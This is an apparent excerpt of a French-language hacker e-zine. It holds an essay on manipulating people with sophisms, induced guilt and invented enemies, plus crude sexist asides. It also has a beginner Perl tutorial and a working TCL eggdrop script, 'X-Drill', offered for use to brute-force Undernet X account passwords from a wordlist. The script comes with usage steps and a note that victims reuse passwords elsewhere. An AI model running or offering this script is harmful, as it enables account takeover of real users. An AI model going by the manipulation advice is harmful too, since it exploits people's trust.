      Faire  faire  ce que l'on veut au autre, c'est un peu  comme  etre 
tout  le  monde  a  la fois, un peu comme etre la personne avec qui vous 
parlez  et  vous  adaptez  a  chaque  decision,  comprendre  comment une 
personne pense et reagie, pour ce faire, nous avons besoin d'un principe
que j'appelle, psychohistoire,  en  usant  des grande tendances on ne se 
trompe que 20% du temps. on peu toujours reajuster sont tir la prochaine
fois. L'a facon la plus facille de faire partir quelqu'un c'est  parfois
de l'amener a ne pas  vous  trouvez   interressant,  tout en ayant l'air
tout  a  fait  interresse  dans  ce  qu'on raconte et c'est dautant plus 
facile  lorsqu'on  est nous meme persuader que ce que nous racontons est
magnifique.  parlez de science a un sportif, de sport a un scientifique, 
d'art a  adolescent, de la vie de tout les jours a qui vous demande quoi
de neuf, (histoire  qui  pourrais  etre  terriblement  longue si vous ne 
l'avez jamais rencontrez  au paraven). parlez  par  exemple  de la soupe 
wong tong qui est  tomber  sur  le dessus de votre pentalon lundi passee 
comme si c'etais  l'histoire  la  plus stressante qui vous etais arrivez 
cette semaine. De toute facon, si vous faite partie du mauvais  95%  des
gens  qui  habite  cette  planete,  c'est  vraiment  levenement  le plus 
stressant que vous ayez  eux  cette  semaine. Evidament pour interresser 
qu'elle qu'on on fait  le  contraire.  on  discute  de  science avec les 
scientifique, de sport avec les sportifs,  vous raconter nimporte quoi a
quelququ'un qui aime  les  truc weird. de potin avec les filles, de char
avec  votre  garagiste.  d'impot  avec votre notaire, de femmes avec vos 
compagnon male de travail, de  virginie  avec  vos  compagnon  femele de 
travail. ayez que trop tot  'envie de  lui  demander comment il va, vous 
verrait vite s'il veut  vraiment vous parlez.  ne parlez pas au gens qui
ne veulle pas vous parlez, il ne voudrais pas vraiment vous dire de quoi
d'interressant  anyway. ne regardez jamais les seins dune fille qui vous
parle,  mais  regarder  les  culs  de  toute  les  filles  qui  passent, 
specialement  si  vous  etes  avec  vos compagnons de travaille. si vous 
voullez restez neutre, aprouver ceux  qui  sont  pour, et aprouver aussi 
ceux qui sont compte en vous appitoyant  sur  le fait qu'une fille n'est 
pas un objet, et par la suite  regretez  d'etre  le  seul a ne pas avoir 
regarder quelque chose  que  vous  trouviez  beau.  Ne vous pressez pas, 
demain arrive si tot de toute facon ou voudriez vous allez a pied, alors
que  vous changez d'endroit dans l'univers a 16000km/s, c'est bete hein,
alors, un  jour  que  vous que vous serez occuper a faire du sur place a 
16000km/s demandez vous, qui est  se type qu'il vous a vaguement repondu
quelque chose de vague la  semaine  passee, vous avez cependant discuter
pendant une heure et vous ne pouvez pas savoir de cette personne qu'elle
travaile (a quelque par), possede un chandail gris, et a eu une tache de
sauce sur sa cuisse, la semaine davant. un  type  qui  pourtant  d'apres
vos amis commun est super gentil, p-e n'avez vous pas  bien repondu a la
question,  qu'est-ce  que  tu  as  fait  de bon  dernierement ? Si votre 
reaction en entendant une repartie comme celle ci :


[16:12:08] <Wyzeman> toi ?
[16:12:25] <miss2001> po pire
[16:12:45] <Wyzeman> que me vaut lhonneur de ta visite ?
[16:13:11] <miss2001> jaser
[16:13:15] <miss2001> asv stp?
[16:13:31] <Wyzeman> 21 g quebec
[16:13:37] <Wyzeman> et toi ?
[16:13:44] <miss2001> 15 f pointo
[16:14:26] <Wyzeman> ha bon
[16:15:55] <miss2001> pis koi de 9?
[16:16:06] <Wyzeman> hum
[16:16:08] <Wyzeman> toute ma vie
[16:16:35] <Wyzeman> si on considere depuis la derniere foi quon s'est 
                     vu
[16:16:54] <miss2001> c qui?
[16:17:06] <Wyzeman> na
[16:17:09] <Wyzeman> on c jamais vu
[16:17:17] <Wyzeman> c pourquoi toute ma vie serais neuve pour toi
[16:17:17] <miss2001> jcrois po
[16:17:22] <Wyzeman> donc sa serais un peu long a raconter
[16:17:29] <miss2001> c koi tu dit toe
[16:18:23] <Wyzeman> ben
[16:18:27] <Wyzeman> tu ma demander quoi de neuf
[16:18:33] <Wyzeman> quoi de neuf depuis quand ?
[16:18:45] <Wyzeman> habituellement la derniere foi qu"on" saif vu
[16:18:48] <miss2001> depuis cette semaine
[16:18:51] <Wyzeman> mais comme on ceat jamais vu
[16:18:57] <Wyzeman> ben jaurais toute ma vie a compter
[16:19:14] <miss2001> ben c bo laisse faire k
[16:19:18] <Wyzeman> hum, depuis cette semaine, la meme chose que 
                     dhabitude
[16:22:43] <miss2001> pis c koi tu fais dhabitude?
[16:23:49] <Wyzeman> jtravaille, jva a lecole, jtaponne su mon ordi, 
                     pi jattend le vendredi pour aller sortir
[16:24:13] <miss2001> k
[16:25:58] <Wyzeman> cette semaine par contre, jsuis allee a lepicerie, 
                     et jai acheter des croquette de poisson, des tite 
		     patate congeler, deux douzaine de hot dog, des 
		     pains, (pour allez avec les hot dog),dautre pains 
		     (pour faire des desjeuner). du jus en cannes, des 
		     cannes de sauce a spagh, pi des sac de poubelles
[16:25:59] The nick 'miss2001' is no longer on IRC

de  croire  que  je  suis fou, non, la reponse est tout  simplement  que 
jessais de  savoir si vous etes assez fou pour que ca vaille la peine de
vous parler (entre les lignes ca veut dire, jvous montre comment je suis
pas interressant pour que vous arretez de me  parler,  car je sais dejas
que je suis pas interressez par ce que  vous avez a me dire). Vous allez
vous meme  decidez de ne plus me parler. je ne vous aurez jamais dit par
contre que je ne voullais pas  vous  parlez, je n'ai pas eu a le  faire, 
vous avez pris la decision  vous  meme  et  vous  ne regreterez meme pas 
davoir pris une t'elle desision,  car  apres  tout , je  ne  suis q u'un 
debile, non mais ta vue les connerie qui raconte ste gars  la  ?,  c'est 
plate  et  puis on comprend rien. Effectivement, vous avez rien compris.
Mais ne  vous  en  faites  pas,  95%  des  gens  sont  comme vous, c'est 
rassurent hein ? :] et malgres tout,  vous  etes malgres ca, tout a fait
unique, comme toute les autres :]. 

si  ici  vous  commencez a comprendre quelque chose, vous etes pas pire.


D'autre exemple ? en effet, savoir comment faire fuir les gens n'est pas
quelque chose  de  tres compliquer. Savoir comment  les  convertirs,  ou
simplement leur faire faire quelque c hose, est plus compliquer. Evitons
premierement le chantage evidant, il est oui tres efficace,  mais  aussi
trop grossier et laisse  des  marques  sur  le  psychique  du  sujet. Un 
chantage plus subjectif lui, peu sembler moin efficace, mais il entraine
une motivation plus grande de la par du sujet (on  est   toujours   plus
motiver lorsque l'on fait les choses pour nous meme (la vous allez  dire
que c'est pour quelqu'un d'autre, mais c'est a la fois vrai et faux). La
manipulation  suggestive,  se  fait via l'entremise d'un choix au sujet, 
un interressant ( notre  projet)  et  un  sans envergure (on peu souvent 
s'inspirer de sa propre vie, enfin, n'esitez  pas  a faire l'utilisation 
de sophisme). Comme le sujet choisi ce qui lui  plais le plus, ca devien
aussi sont projet, et plus se projet  s'averera  succueux, plus le sujet
se vera moralement bien disposer a contribuer au success du  projet.  Si 
le moral vien a manquer, n'esitez pas a creer un evenement perturbateur.
Qui unifira votre groupe pour  sa  survie  (genre une guerre, trouver un
competiteur  a  detruire pour prendre sa place, quelque chose qui nuit a
l'epanouissement du projet).  C'est  dans  la  nescessiter  que  l'homme 
aprend a trouver la force de se surpasser et de realiser ces plus  grand 
projets. Bref ici encore amener la personne convoiter  a  s'offrir  elle 
meme pour faire ce que vous desiriez lui demander.





                                                                 wyzeman

.-----------------------------------------------------------------------.
|                                                                       |
'-----------------------------------------------------------------------'




  |                                                                       
--/                                                                       
-/---------------------------------.      +------------------------+      
                                    |     |                        |      
--------------------------------;   |     | Do Not Try This AT     |      
                                |   |     |                        |      
                                |   |     |     HOME !             |      
                                |   |     |                        |      
                                |   |     | --   ----   ----  ---  |      
                                |   |     |Better idea to try at --|      
                               +-----+    |your Best-Friend House. |      
                               |     |    |                        |      
                               \-----/    +------------------------+      
                                                                          
                                 **                                       
                                ***                                       
                                ****                                      
                               ******    <---- Mindkind, La goutte        
                              ** ****          qui fair deborder          
                             **  *****         l'intellect.               
                             *  *******                                   
                             ***********                                  
                             ***********                                  
                              *********                                   
                                *****                                     
                                                                          
                                                                          
                               ** ** *                                    
                            ***********                                   
                          /// ** ** *  \\\                                
                        //    MINDKIND    \\                              
                       /   --     **   --   \                             
                      |   | 0|   **** |0 |   |                            
                     |     --   *   *  --     |                           
                     |         *  -- *        |                           
                     |        *  |  |*        |                           
                     |       *    == *        |                           
                      |   <__*__________     |                            
                       \      *             /                             
                        \\    **          //                              
                          \\\  *       ///                                
                             ----------                                   


                                                                  .--.
.----------------------------------------------------------------/  /--. 
| Perl :  la conqute du chameau                               /  /   |
|                                                              /  / 12 | 
|          une chronique Mindkind                             /  /     |  
'------------------------------------------------------------/  /------' 
                                                            '--'


Disclaim

Vous avez bien lu, cet article est le  premier  d'une  srie,  donc  une
chronique sur le Perl. a me tantait de faire comme a,  car  j'ai  pour
objectif premier de maitriser le Perl du mieux possible. Un des meilleur
moyens pour apprendre, et bien sur d'crire ce qu'on a  apprit.  Si  des
gens apprcient ces articles, apprennent quelque chose, tant  mieux.  Je
vais donc tacher de couvrir tout ce que je peux sur le Perl en un nombre
encore indtermin d'articles. J'ai dla chance car ds le  dbut  de  la
lecture de "Programming Perl" j'ai ador le langage.Vous  all  surement
comprendre pkoi, si vous avez dj quelques  langages  en  banque..  par
contre ceux qui dbute en programmation  vont  aussi  l'aimer,  mais  je
crois que a aurait des effets nfastes dans leur  apprantissage  de  la
prog : Le Perl est un langage "relach" qui nous permet de faire  autant
de conneries qu'en QBasic et autant de difficult qu'en C. Ya des livres
de rfrences/articles sur Perl qui sont trs bien structur, qui  suive
toute dans l'ordre, qui dise d'utiliser strict (option explicit  en  vb)
et blah blah, dans mon cas jvais pas faire a, je vais y all  comme  a
passe, un peu comme le livre que jai lu (qui  est  excellent  d'ailleur,
voir note de bas d'article). Donc, si ta  jamais  programm  de  ta  vie
jchte conseil soit de suivre un  cours,  lire  un  livre  sur  la  prog,
toucher un peu a tout.. et revenir ici :-) Mais bon tu peux continuer  a
lire tu vas voir.. le Perl est facile au dbut comme langage,  mais   il
devient de plus en plus "fucker", et a le monde _normal_ (qui ont presk
jamais coder) vont s'y rebuter ass vite. C'est comme apprendre   coder
junk food, on peut faire du junk food avec le Perl, mais  on  peut  tre
aussi des codes potes. Ah oui, j'oubliais, la plupart du monde pense au
perl comme CGI/Perl.. c'est vrai que c'est une des applications les plus
courantes du Perl, mais le Perl lui mme est un langage qui sert a faire
n'importe quoi, donc j'vais pas parler que des fonctions CGI,  mme  que
je pense bien ne pas traiter du CGI dans la conqute du chameau.. si jen
traite a va tre juste comme une biliothque/module de Perl  comme  les
autres. bon 'nuff said, fonont vers la conqute du chameau...

Un chameau a fait "mwauh" 

Je suis supposer de parler de programmation, mais vous all le voir tout
de suite, Perl c'est autre chose que juste un langage, ctun lment. heh
Les gens associe le chameau avec Perl, paske O'Reilly est le distrib des
livres officiels, et y'on choisit le camel comme bte. Le hic c'est  que
c'tun dromadaire. (ya juste une bosse). Nyways, il l'ont  copywrit  pis
yon apeller a un camel, donc ils peuvent faire ce qu'ils veulent :-)
Avec le temps les programmeurs Perl ont  commencs  a  parler  du  livre
"Programming Perl" comme tant "the camel" (le chameau), et c'est donc a
partir de dla que a peu prs tout le monde lorsqu'ils voyent un chameau,
pense  Perl. La licence de O'Reilly sert a protg le chameau,  car  il
est voit d'extinction. (remplacer chameau par Perl et voit  d'extinction
par GPL). Donc la si vous voyez qqn avec un tshirt "i luv  camel"  c'est
soit un perl programmer ou un arabe qui pratique la zoophilie. (je tiens
ici a m'excuser devant tout les programmeurs perl arabes).

On peut retrouver la communaute Perl a peu prs partout sur Internet.
Principalement  ya  www.perl.com  qui  est  le  site  de  O'Reilly  et
www.perl.org qui est le site des perl mongers : une gagne de freak qui
trippent Perl. Vous pouvez aussi all voir le  site  de  la  gagne  de
montreal, mais y pas ass updater  mon got.  http://montreal.pm.org


De kc que c que Perl?

Le Perl est un langage pour faire rapidement et efficacement ce que vous
avez a faire. Une des philosophies de  Perl  est  qu'il  y  a  plusieurs
moyens d'arriver  un mme rsultat. C'est  aussi  un  langage  qui  est
interprt : Donc aucune compilation est ncessaire,  on  passe    Perl
notre code et il l'excute. Ne vous en faite  pas  c  pas  "slow",  car
c'est pas un langage trop "jeuno", il a t invent par  Larry  Wall  en
1987 et depuis ce temps bcp d'optimisations et de  changements  ont  t
apports. Perl veut dire "Practical Extraction and Report Language".  Et
oui, a sert principalement  lire d'la  shit ,  pis  dumper  dla  shit.
Remarquez que compar au COBOL, il est plus efficace, mme  que  compar
au C ou au C++ il est plus efficace pour travailler  avec  des  strings,
pour ne pas dire "puissant". Perl ressemble au C, au BASIC,   Awk,  au
Python et  l'anglais. Parmis les 3 langages que je connais dans ce tas,
(c/basic/anglais) jpeux vous dire que c'est vrai.. bon, sautont dans le
code.

Les variables

Les types de variable en Perl sont dterminer par des "funny caracters"
devant le nom de celle-ci. Genre $a est une variable  scalaire,  @a  un
array. Voici un ti tablo des var dispo:

||
| Type    Funny Char Exemple    ce que c'est:                           |
||
| Scalaire     $     $meuh      une valeur "individuelle" (une string,  |
|                                                      des chiffres..)  |
| Array        @     @pwet      un tablo index avec des numros        |
| Hash         %     %hehe      un table index avec des strings        |
| Subroutine   &     &kossin    un morco de code Perl quon peut caller  |
| Typeglob     *     *unf       n'importe quoi                          |
|_______________________________________________________________________|

Donc, oui, il ny a pas de variable int, long, string char, ou etc.
La variable de base scalaire peut tre de deux types sans quon le 
spcifie. Par exemple $pwet = "meuh"; va devenir  une  string  et
$pwet = 22; va devenir un nombre. On peut aussi entrer  plusieurs
type de nombre : un integer (12345), un floating point  (1.1234),
une notation scientifique (3.33e23), du hexadecimal(0xffff), etc.

Les strings sont toutes aussi intressentes. Comme en C  elles  peuvent
contenir des caractres backslashs comme \n pour changer de  ligne  \t
pour un tab, \a pour une alert (le ti bip la). vidamment, on crit  le
caractre \ avec \\. Aussi il existe diffrente sortes  de  quotes.  ""
sert  quoter une string avec  interpolation.  L'interpolation  est  le
remplacement de variables dans  une  string,  par  exemple  si  j'cris 
"salut $nom" le $nom va tre remplac par sa valeur  car  ""  donne  de
l'interpolation. On peut aussi remplacer les "" par qq// ou on mets  la
string voulu entre //. par exemple qq/salut/ donne la  mme  chose  que
"salut".

''    q//     String non-interpolable
""    qq//    String interpolable
``    qx//    Excution de commande interpolable
()    qw//    Liste de mot non-interpolable

Parlant de liste de mots, voyont un peu les Array. Le funny char @ a t
choisis pour dire @rray (heh pour vrai). Voici comment on peut
construire un array:
@kossins = ("pwet", "meuh", "unf", "bleh");
On peut accder aux lments du tableau de la manire suivante : 
$kossins[0] $kossins[1] (a commence  0 comme en C). Vous pouvez aussi
prendre justement le qw// de la liste de mot pour remplir votre array :
@kossins = qw(pwet meuh unf bleh);
aussi on peut ressortir les lments de la liste :
($a, $b, $c, $d) = @kossins;

Il existes aussi 2 fonctions qui servent a travailler avec les @ : push
et pop. Vous pouvez donc voir un array comme une pile  que  l'ont  peut
empiler et dpiler, aprs tout c'est a une pile :-) donc :
push @kossins, "blew";
si on veut printer le dernier lment de la pile pis la sortir de dla :
print pop @kossins;
Tant qua faire y devrait avoir de quoi pour travailler  avec  le  array
comme une liste? et oui, ya shift et unshift. shift permet  de  prendre
le premier lment de la liste, de le sortir, et  de  toute  tass  les
autres. Donc un shift @kossins; retourne "pwet" et place  "meuh"    la
position 0 "unf" a la 1 etc... unshift lui fout une liste au  dbut  de
l'array, donc unshift @kossins, "allo"; met "allo" au dbut de la liste
et tasse toute les autres d'une position.
De plus, il existe une fonction pour virer ma liste de bord : 
reverse @kossins; retourne ("blew", "bleh", "unf", "meuh", "pwet"). 

fun huh?
Les fonctions pour manipuler les structures de data sont  donc  direct
dans le langage.. donc pas besoin de "includes" ou ben  de  se  forcer
pour trouver une pile a qqpart, ou  pire  la  programmer  nous  autres
mme.. heh  mon avis je trouve a ass hot merci.. 
mais checker ben les hash.

Un hash, comme dcrit plus  haut,  c'est  un  tableau  index  par  des
strings. Ce qui veut dire qu'on accde aux lments de nos tableaux par
des strings. Cpas un concept qui a t invent, mais le fait que  c'est
directement dans le langage s'avre intressent. On dclare un hash  de
la facon suivante :
%pays = ("CA", "Canada", "US", "United State", "FR", "France");
Donc le "CA" est l'index pour dsign "Canada"
on peut aussi utiliser une autre notation plus simple a  visualiser
(en faite vous remarquerez que => est la mme maudite affaire que ,
 c'est juste pour que a fasse plus beau.) :
%pays = (
      "CA" => "Canada",
      "US" => "United State",
      "FR" => "France",
);
Si on veut accder  ce qui est contenu    la  position  "CA"  on  doit
faire $pays{"CA"} ce qui nous  retourne  "Canada".  Un  hash  n'est  pas
ncessairement class comme vous le voulez. Un hash peut  tre  manipul
exactement comme une liste. Vous vous rapellez des fonctions de  tantot?
et bien on peut les faires sur un hash. Regardont ce que a donne si on
print %pays; 
FRFranceUSUnited StateCACanada
C'est l'ordre inverse de ma dclaration de tantot.. mais remarquer  mme
 a c'est pas ncessairement a (un hash est faite pour tre  optimiser
le plus possible, ya plein de code d'insertion et d'algo qui scrap toute
en fin de compte). On peut donc voir un hash comme une liste (exactement
comme on peut voir un array comme une liste).

Donc la vous vous retrouver avec des hashes et arrays, qui  se  pop/push
shift/unshift.. quoi de plus? et bien les classer en ordre!
La fonction sort s'occupe de prendre une liste et de  nous  la  redonner
classe. Par dfault, elle nous sort a d'une manire standard (donc les
# par ordre de grandeur et les string avec leurs valeurs  ascii).  Voici
le rsultat d'un sort sur mon hash de tantot :
CACanadaFRFranceUSUnited State
Je vais revenir ultrieurement sur la fonction sort, car elle peut faire
bcp plus que a :-)

vidamment nous pouvons faire des tableaux a plusieurs dimensions.
@a = (
      [ "oui", "non" ],
      [ "yes", "no" ],
      [ "dah", "niet" ],
);
Donc la premiere dimension se trouve a tre $a[] et la  deuxime  $a[][]
Remarquer que si vous prenner les valeur direct du @a,  vous  all  vous
retrouver avec une liste de rfrences a  des  Array  (paske  finalement
le array de premiere dimension se trouve a etre une rfrence aux autres
dimension. Donc pour accder au premier lment, je fait :
print $a[0][0];
ce qui donne : oui
Bon je crois que vous pouvez vous figurez out le reste.
Je vais surement revenir une autre fois aux plusieurs dimensions.. paske
quand on y pense la..on peut aussi le faire avec des hash pis des array!


La ils nous reste & et *. Le & est pour appeller une  sous  routine.  Je
vais en  parler  ultrieurement,  car  nous  avons  pas  vu  encore  les
sous-routine. Le Typeglob * est utilis pour pointer vers tout, et  sert
aussi dans un contexte de sous-routine, de namespace, et blah  blah.  Il
se peut aussi que je n'ai pas parl de TOUTE  ce  que  l'on  peut  faire
avec les variables.. encore la on sen fou, le Perl se doit d'tre  connu
progressivement, je crois (heh ya pas dautre moyen, dune shoot c  comme
"trop") et cette chronique va servir a a.


J'veux assayer!

Bon bien sure, c'est beau lire, mais assayer aussi est une bonne chose.
Alors jvais prendre quelque instant pour vous montrer  comme  faire  un
script Perl qui "marche" (mais qui fait rien d'utile.. haha).
allont y avec :
print "Mindkind";
C'est tout. hehe
Maintenant, avec quoi on interprte a? Pour Windows all voir la:
http://www.activestate.com/ASPN/Downloads/ActivePerl/
Pour les systme de type Unix :
http://www.perl.com/pub/language/info/software.html

Je crois que vous tes ass fut pour vous dbrouiller  et  l'installer
tout seul.. surtout que dans la plupart des distribution Linux Perl est
pr-installed... 
Bon, donc a l'avenir je vais juste parler de la version Unix style.

Pour savoir la version que vous utilsez, faite en ligne de commande
perl -v
Dans mon cas a donne :
This is perl, version 5.005_03 built for i386-freebsd
Si c la box de votre ami servez-vous en pas pour la rooter, a serait
pas gentil. (Paske effectivement la 5.005 est une faille de scu.)
M'enfin, tant que vous avez la version 5 en montant vous  tes  OK  pour
coder. Bon maintentant quon a notre interprteur, faut savoir sen servir
C'est vraiment pas compliquer, en ligne de commande :
perl -e 'print "meh";'
fait l'affaire.
Mais metton que vous voulez faire un script de plus de une ligne,  c'est
tjrs le fun de le mettre dans un fichier, donc vous avez  qua  crer  un
fichier texte comme il vous chante et faire :
perl nom_du_fichier
Maintentant qqchose de encore mieux : Prenner le mme fichier, rajoutez
#!/usr/bin/perl
en premiere ligne.
maintentant chmod u+x votre fichier. Et voila c'est rendu un script perl
autoexcutable-hyper-facile-fun-wouhou! :-)
Bon je crois qu'il est temps de passer  la conclusion.. je vais revenir
un jour sur les modes de lancement de l'interprteur. (les options quoi)


Conclusion

Bon, voici la fin de cette article qui  est  donc  le  lancement  d'une
premiere chronique dans Mindkind. Je crois que je vais tre "fort"  sur
les chroniques et thme  qui  revienne,  car  j'aime  bien  traiter  un
sujet en profondeur, et avoir le  temps  d'y  rflchir  pour  tjrs  en
rajouter plus avec le temps. J'espere que vous avez trouv  le  langage
Perl "cool" et que vous avez assayer qq print  de  variables.  Dj  la
avec un dbut comme a, on voit que Perl nous rserve plein de surprise
Il y aura donc suite  cette article dans les prochains # de  Mindkind,
alors revenez nous dans le #2 pour la suite de la conqute  du  chameau
avec les oprateurs et les structures de contrles!

                                                   - LastCall_

------------------

Liens rfrencs :
http://www.perl.com
http://www.perl.org
http://montreal.pm.org
http://www.activestate.com/ASPN/Downloads/ActivePerl/
http://www.perl.com/pub/language/info/software.html

Pour une lecture plus dtaill rfrez-vous au livre suivant :
-> O'Reilly Programming Perl 3rd Edition
Avec comme mascotte le fameux chameau dans  la  collection  des  livres
O'Reilly, ce livre est la bible, l'encyclopdie et l'almanac  du  Perl.
crit par Larry Wall, le crateur de Perl lui-mme,  aid  par  2  Perl
freaks, ce livre est tout simplement fantastique  et  agrable    lire
(autant que difficile et hardu! heh). Ds le dbut je me suis  beaucoup
amuser tout en me rentrant dans la tte que Perl est _LE_  langage  que
j'tais pour aimer : Perl est construit pour rendre les travaux facile,
facile sans rendre les travaux difficile infesable.


.-----------------------------------------------------------------------.
|                                                                       |
'-----------------------------------------------------------------------'




<Wingaman> ne fait pas de pub sur les chan de #linux*
<Wingaman> petit conseil




                                                                  .--.
.----------------------------------------------------------------/  /--. 
| l'ouvre boite est plus puissant que la plume                  /  /   |
|                 a k a                                        /  / 13 | 
|      quand une boite de tole en devisse un autre            /  /     |  
'------------------------------------------------------------/  /------' 
                                                            '--'

     Undernet est c'est bug epais, c'est un  peu  comme  microsoft.  c'a
bug, ca plante, ca splite, des robots qui  attende  leur  marionettiste.
C'est  un  peu  comme  microsoft, on chiale on chiale pi on en redemande 
encore.  Alors pour ceux pour qui  le  mots elites et Lamers ne sont pas 
les  base  de  leur sauvetage spirituelle (Pour etre elite faut pas etre 
lame donc faut faire ce qu'il font). Enfin, pour  ceux  qui en on rien a 
foutre, dispose d'un eggdrop qui idle sur IRC, voici un script  TCL  qui
sert de bruteforcer de X (mouais notre nouveau X). Le fonctionnement est
pas tellement compliquer que d'allumer une TV (sque  vous  pourrez faire 
en attendant que sa finisse car ca peu etre long  avant  darriver  a des
resultats (dependament de la qualiter  et de la grosseur  de  votre word 
list (mettez ca sur votre liste  d'epicerie  cette  semaine).  Y'a  pour 
l'instant aucun bug notoire dans  le  fonctionnement  du script, mais je 
doute pas que vous allez vous faire un plaisir  d'en  decouvrire  plein. 
Bon c'est lent car je fais attendre d'avoir eu un reply de x   avant  de 
renvoyer  une  autre  requette.  Et  ce  pour  les   raisons   suivante, 
premierement pour ne pas flooder X et etre ignorer (meme si en changeant
de ident 3x on peu arriver a ne plus etre  ignorer).  deuxiemement  afin 
deviter de faire freezer le egg sur  lequel  roule  le  scripts  (ce qui 
permet par le fait meme la gestion de gigantesque  word  list.  Et ca ma 
permis deviter davoir a faire affaire  avec  des timers, qui sont plutot
plate a utiliser en tcl pour eggdrop. J'ai prevu un systeme de detection
de netsplit qui fait attendre  gentilment votre egg que x revienne avant
de continuer sont brute force. Une autre version sera releaser plus tard
que vous n'aurez pas  besoin  de  eggdrop  pour  runner. (Bref  un  vrai 
programme  et  non  pas  un  script  comme  presentement). Mais celui ci 
ne requiere que un access  a  irc  pour etre utilise si vous avez un egg
qui run a quelque par. Une protection a aussi ete integrer afin  que  le
script ne sois utilisable que par les user du eggdrop, donc personne que
vous connaissez pas ira  jouer avec ca et voler votre precieux temps. Et
personne viendra non plus saturer les egg de mindkind de request :]. 

fonctionnement. 
1) laoder le script 
2) installer une word  list  nomme  dictio.txt  dans  le sous repertoire 
database (creer le sous repertoire pcq vous l'avez surement pas)
3) allez sur irc
4) taper /notice eggdrop !lockpick login

ou  eggdrop correspond au  nom  de  votre eggdrop et login a la personne 
que vous voullez prendre laccess. A et joublais beaucoup de gens on  les
meme password sur X que sur leur box linux ou leur hotmail, maybe :].  X
nous facilite la tache en nous indiquand si le login  est  bon  ou  non. 
bref c'est une peu comme avoir  une  parti  du /etc/passwd d'un bon 5000
personne a portee dla main. 

bon, comme il se pourrais que le scan cesse pour diverse raison que j'ai
pas prevu, j'ai fait une commande qui permet de reprendre la ou ca avait
arreter. 

/notice eggdrop !lockpick login continu 

bon, si votre scan arrete  de  fonctionner  sans  raison apparante, vous 
pouvez utilise cette commande pour le restarter, mais avant  vous  aurez 
a faire sois un .rehash du egg ou un .set inuse 0 . car sinon le eggdrop
croiras  qu'il est toujours entrain de scanner (genre yattend la reponse
de x (qui viendra jamais)). La variable est la pour  empecher  que  l'on
start 2 scan en meme  temps  (evidament  vous  pouvez  fucker le tout en 
fesant un .set inuse 0  pendant  que le scan fonctionne et en starter un
nouveau, mais bon, jai pas patcher  le  code contre l'extreme stupiditer 
humaine. jvous offre de quoi qui marche,  utiliser  le  comme  du monde, 
J'ai pas envie d'etre responsable pour tout les imbecilles qui  pourrais
avoir access a votre egg (car oui, on a besoin d'un access  au  egg pour
utilise le script (comme dit plus haut).




--------------------------------cut here--------------------------------

# X-Drill 1.5 (we learn from stupid move)
# yet another useless (but not less funny) Wyzeman production 
# keep away from parent's

bind notc - * main
bind raw - * netsplit
set inuse 0
set login "uber"
set asker "uber"
set netsplit 0

proc main {nick host hand phrase} { 
   global inuse
   global login
   global asker
   set phrase [string tolower $phrase]
   set verify [finduser $nick!$host]
   if {[string match !lockpick* $phrase]} {
      if {$verify != "*"} {
         if {$inuse != 1} {
	    if {[string match *continu* $phrase]} {
               set asker "$nick"
	       set inuse 1
	       set login [lindex $phrase 1]
	       bf2 $login
               putserv "NOTICE $asker :scan restart for $login"
	    } else {
               set asker "$nick"
	       set inuse 1
	       set login [lindex $phrase 1]
	       putserv "NOTICE $asker :scan started, take a beer (or a lot) and wait"
               set pass [open database/dictio.txt r]
               set pass2 [open database/dictio.bak a+]
	       set password [gets $pass]
	       while {![eof $pass]} {
	          set lines [gets $pass]
	          if {[string match $password $lines]} {	          
	          } else {
	            puts $pass2 "$lines"
	          }
	       }
	       close $pass
	       close $pass2	   
	       putserv "PRIVMSG x@channels.undernet.org :login $login pass $password" 
            }
         } else {
	    putserv "NOTICE $nick :device already in use by $asker"   
	 }
      } else {
         putserv "NOTICE $nick :you are not alowed too use this"
      }
   } elseif {[string match *authentication*failed* $phrase]} {
      bf2 $login
   } elseif {[string match *authetification*successfull* $phrase]} {
      set pass [open database/dictio.bak r]
      set password [gets $pass]
      close $pass
      file delete database/dictio.bak
      putserv "NOTICE $asker :le password de $login est $password"
      set inuse 0
   } elseif {[string match *i*don't*know*who* $phrase]} {
      putserv "NOTICE $asker :le user $user nexiste pas"
      set inuse 0      
   }
}


proc netsplit {from keyworld arg} {
   global netsplit
   global asker
   global login
   set keyworld [string tolower $keyworld]
   set from [string tolower $from]
   if {$from == "x!cservice@undernet.org"} {   
      if {[string match *no*such*nick* $keyworld]} {
         if {$netsplit == 0} {
            set netsplit 1
            bind time - "?5 * * * *" checking 
	    putserv "NOTICE $asker :X n'est plus la, brute force en attente"
         }      
      } else {
         putserv "NOTICE $asker :X est revenue ,le brute force recommence"
         set netsplit 0
         unbind time - "?5 * * * *" checking
         bf2 $login     
      }
   }
}

proc checking {min hours day mounth years} {
     putserv "PRIVMSG X :blabla"
}


proc bf2 {login} {
   set pass [open database/dictio.bak r]
   set pass2 [open database/dictio2.bak a+]
   set password [gets $pass]      
   while {![eof $pass]} {
      set lines [gets $pass]
      if {[string match $password $lines]} {	    
      } else {
         puts $pass2 "$lines"
      }
   }
   close $pass
   close $pass2
   file delete database/dictio.bak
   file rename database/dictio2.bak database/dictio.ba
   putserv "PRIVMSG x@channels.undernet.org :login $login pass $password"	    
}


putlog "X-drill 1.5 by Wyzeman laoded"

--------------------------------cut here--------------------------------

bon, ya pas de copy right ou de trade mark, alors faite  en  s'que  vous 
voullez. Si vous faites des modification  interressante,  j'aimerais que
vous  m'en  fassiez  par (jsuis curieux :]). Si vous codez en tcl et que 
vous avez rien a faire, vous pouvez toujours envoyez un  echantillons de
sque vous etes capable  de  faire  a  mindkind@mindkind.wox.org et jvous 
laisse deviner la suite. 

.-----------------------------------------------------------------------.
|                                                                       |
'-----------------------------------------------------------------------'




<QDerf> ca va etre etrange
<QDerf> hey la gagn de mindkind
<QDerf> prenez un log de moi qui parle
<QDerf> et faites un article avec ca




                                                                  .--.
.----------------------------------------------------------------/  /--. 
|                                                               /  /   |
| Gros LAF pour perdre du temps                                /  / 14 | 
|                                                             /  /     |  
'------------------------------------------------------------/  /------' 
                                                            '--'

Vous  debutez  une  soire de enhanced glanding quand  tout  a  coup  un 
dangereux manque de sensations fortes vous pousse a installer linux pour 
faire comme MafiaBroil, dukeharvester et compagnie et  smurfer  la grand 
mere qui habite devant cher vous parce quelle pompe tout le jus de votre 
modemcable avec son Mature pr0n ?

Hey bien Attendez ! jai la solution a vos problmes, si on inflitrait le 
tout  nouveau  31337  Cr3w de la scne pour s'ammuser un peu. Biensur il 
sagit  d'une  Moove  extremment  lame  donc  vous  devriez  demander  la 
suppervision d'un 31337 (binf ou g463).

--[ NOTE. oubliez pas de lire la fin de larticle. ]--


- Guide Of Cr3W H4X0R1Z1nG -
----------------------------
Necesaire :
	1. un Crew d'31337
	2. un Email @altern.org

Marche a suivre :

